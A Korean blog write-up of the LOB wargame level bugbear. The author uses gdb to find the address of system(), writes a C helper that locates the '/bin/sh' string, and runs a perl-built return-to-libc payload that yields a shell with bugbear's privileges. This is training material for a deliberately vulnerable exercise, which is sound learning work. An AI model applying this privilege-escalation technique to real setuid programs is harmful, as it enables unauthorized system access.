IT 그리고 정보보안/Write-up

LOB Level 13 (darkknight)

plummmm 2021. 4. 12. 19:09
반응형

이번 문제는 버그베어!?

bugbear.c를 열어보겠음.

 

if(argv[1][47] == '\xbf')

{

printf("stack betrayed you!!\n");

exit(0)

}

이 부분을 봅시다.

 

?? 지금 까지 있던 문제들은 모두 스택 영역에서만 코드를 실행할 수 있도록 했는데

이건 정반대로 스택 영역에서 코드 실행을 금지시키고 있다.

NX-bit 옵션을 준다는 얘기.

 RTL(Return-to-Libc)를 사용해야 된다는 말.

 

코드 상단에 주석에도 친절하게도 RTL 이라고 해뒀네.

 

포스팅을 읽고 왔다고 가정하고 문제 풀이를 진행하겠다.

일단 우리가 구해야 하는건 

1. 라이브러리의 SYSTEM함수 주소

2. SYSTEM 함수 내부의 "/bin/sh" 문자열 위치

를 알아야 한다.

 

먼저 시스템함수 주소 부터 구해보자.

 

[darkknight@localhost darkknight]$ bash2

[darkknight@localhost darkknight]$ cp bugbear bugbeal

[darkknight@localhost darkknight]$ gdb -q bugbeal

(gdb) b *main+3

Breakpoint 1 at 0x8048433

(gdb) r aaa

Starting program: /home/darkknight/bugbeal aaa

/bin/bash: /home/skeleton/.bashrc: Permission denied

 

Breakpoint 1, 0x8048433 in main ()

(gdb) print system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

 

 

자 그럼 이제 "/bin/sh" 주소를 찾아보자.

간단한 프로그램을 만들어서 system함수 내의 "/bin/sh"를 찾는다.

 

[darkknight@localhost darkknight]$ vi findsh.c

#include <stdio.h>

main(){

        long shell = 0x40058ae0;

        while(memcmp((void*)shell,"/bin/sh",8))

        shell++;

        printf("%x\n",shell);

}

 

[darkknight@localhost darkknight]$ gcc -o findsh findsh.c

[darkknight@localhost darkknight]$ ./findsh

400fbff9

 

"/bin/sh" 문자열 위치도 찾았다. 그럼 공격만 하면 되겠네?

페이로드를 구성해봅시다.

 

[nop*44] [SYSTEM함수 주소] [nop*4] ["/bin/sh" 주소]

 

[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "\x90"x44,"\xe0\x8a\x05\x40","\x90"x4,"\xf9\xbf\x0f\x40"'`

릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?@릱릱廈@

bash$ id

uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)

bash$ my-pass

euid = 513

new divide

bash$

 

공격 성공~

반응형

'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글

LOB Level 15 (giant)  (0) 2021.04.12
LOB Level 14 (bugbear)  (0) 2021.04.12
LOB Level 12 (golem)  (0) 2021.04.12
LOB Level 11 (skeleton)  (0) 2021.04.12
LOB Level 10 (vampire)  (0) 2021.04.12